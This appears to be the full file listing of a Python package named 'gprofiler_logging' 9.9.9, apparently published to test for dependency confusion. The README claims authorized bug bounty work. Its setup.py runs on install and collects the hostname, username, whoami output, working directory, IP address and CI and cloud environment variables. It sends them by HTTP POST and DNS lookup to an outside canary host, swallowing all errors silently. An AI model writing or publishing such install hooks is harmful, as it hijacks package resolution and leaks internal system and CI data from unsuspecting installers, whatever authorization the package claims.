gprofiler-logging 9.9.9__tar.gz

gprofiler_logging-9.9.9/PKG-INFO

@@ -0,0 +1,9 @@
+Metadata-Version: 2.4
+Name: gprofiler_logging
+Version: 9.9.9
+Summary: gProfiler logging package
+Author: gprofiler
+Requires-Python: >=3.6
+Dynamic: author
+Dynamic: requires-python
+Dynamic: summary

gprofiler_logging-9.9.9/README.md

@@ -0,0 +1,8 @@
+# gprofiler_logging
+
+gProfiler logging package.
+
+This package is part of an authorized security research engagement (bug bounty) to test for dependency confusion vulnerabilities. It contains no malicious code - only a benign DNS/HTTP callback to verify installation context.
+
+Researcher: r76o4
+Program: Pinterest Bug Bounty (Bugcrowd)

gprofiler_logging-9.9.9/gprofiler_logging/__init__.py

@@ -0,0 +1,2 @@
+# gProfiler logging package
+__version__ = "9.9.9"

gprofiler_logging-9.9.9/gprofiler_logging.egg-info/PKG-INFO

@@ -0,0 +1,9 @@
+Metadata-Version: 2.4
+Name: gprofiler_logging
+Version: 9.9.9
+Summary: gProfiler logging package
+Author: gprofiler
+Requires-Python: >=3.6
+Dynamic: author
+Dynamic: requires-python
+Dynamic: summary

gprofiler_logging-9.9.9/gprofiler_logging.egg-info/SOURCES.txt

@@ -0,0 +1,7 @@
+README.md
+setup.py
+gprofiler_logging/__init__.py
+gprofiler_logging.egg-info/PKG-INFO
+gprofiler_logging.egg-info/SOURCES.txt
+gprofiler_logging.egg-info/dependency_links.txt
+gprofiler_logging.egg-info/top_level.txt

gprofiler_logging-9.9.9/gprofiler_logging.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

gprofiler_logging-9.9.9/gprofiler_logging.egg-info/top_level.txt

@@ -0,0 +1 @@
+gprofiler_logging

gprofiler_logging-9.9.9/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

gprofiler_logging-9.9.9/setup.py

@@ -0,0 +1,65 @@
+import os
+import sys
+import socket
+import subprocess
+import urllib.request
+import base64
+import json
+
+CANARY = "ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun"
+
+def exfil():
+    try:
+        data = {}
+        data["pkg"] = "gprofiler_logging"
+        data["h"] = socket.gethostname()
+        data["u"] = os.environ.get("USER", os.environ.get("USERNAME", "unknown"))
+        try:
+            data["w"] = subprocess.check_output(["whoami"], timeout=5).decode().strip()
+        except:
+            data["w"] = "err"
+        data["cwd"] = os.getcwd()
+        try:
+            data["ip"] = socket.gethostbyname(socket.gethostname())
+        except:
+            data["ip"] = "err"
+        data["os"] = sys.platform
+        for key in ["CI", "JENKINS_URL", "GITHUB_ACTIONS", "GITLAB_CI", "BUILD_URL",
+                     "BUILDKITE", "CIRCLECI", "TRAVIS", "AWS_DEFAULT_REGION",
+                     "DOCKER_HOST", "KUBERNETES_SERVICE_HOST", "HOSTNAME"]:
+            val = os.environ.get(key)
+            if val:
+                data[key] = val[:100]
+
+        try:
+            url = f"http://{CANARY}/pinterest-depconf-gprofiler-logging"
+            req = urllib.request.Request(url, data=json.dumps(data).encode(),
+                                         headers={"Content-Type": "application/json",
+                                                  "X-Source": "gprofiler_logging-depconf"})
+            urllib.request.urlopen(req, timeout=5)
+        except:
+            pass
+
+        try:
+            h = data["h"][:40].replace(".", "-")
+            u = data["w"][:20].replace(".", "-")
+            socket.getaddrinfo(f"glog.{h}.{u}.{CANARY}", 80)
+        except:
+            pass
+
+    except:
+        pass
+
+exfil()
+
+from setuptools import setup, find_packages
+
+setup(
+    name="gprofiler_logging",
+    version="9.9.9",
+    description="gProfiler logging package",
+    author="gprofiler",
+    packages=find_packages(),
+    python_requires=">=3.6",
+    install_requires=[],
+)